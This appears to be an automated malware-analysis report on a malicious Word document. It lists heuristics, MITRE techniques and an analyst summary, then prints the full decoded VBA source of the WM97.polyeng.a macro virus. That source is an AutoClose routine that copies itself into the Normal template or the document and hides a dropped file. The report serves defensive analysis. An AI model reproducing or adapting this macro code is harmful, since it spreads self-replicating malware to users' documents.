MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains a VBA macro named 'AutoClose' which is designed to export a DLL payload to 'c:\windows\poly.dll' and then import it into the document's project. This macro is intended to execute automatically when the document is closed, suggesting an attempt to install a secondary payload. The presence of legacy WordBasic markers and the Auto_Close macro firing indicate a malicious document designed for payload delivery.
Heuristics 3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1341 bytes |
SHA-256: 648f150dedd981b82b500474f9635518989b50f8e72404a1d877275c4fd555a4 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "polyeng"
Sub AutoClose()
' [WM97.polyeng.a]
' by -KD- / Metaphase VX Team & NoMercyVirusTeam
' Tech used from Mr.Vic & 29/A special thanks
' This Macro Virii was made Undernet #virus's big-e polymorphic engine contest.
' It is SR1 compatable useing import/export.
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents("polyeng").Export "c:\windows\poly.dll"
For Z = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(Z).Name = "polyeng" Then NormInstall = True
Next Z
For Z = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(Z).Name = "polyeng" Then ActivInstall = True
Next Z
If ActivInstall = True And NormInstall = False Then Set VX = NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set VX = ActiveDocument.VBProject
VX.VBComponents.Import ("c:\windows\poly.dll")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
SetAttr ("c:\windows\poly.dll"), vbHidden + vbSystem
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.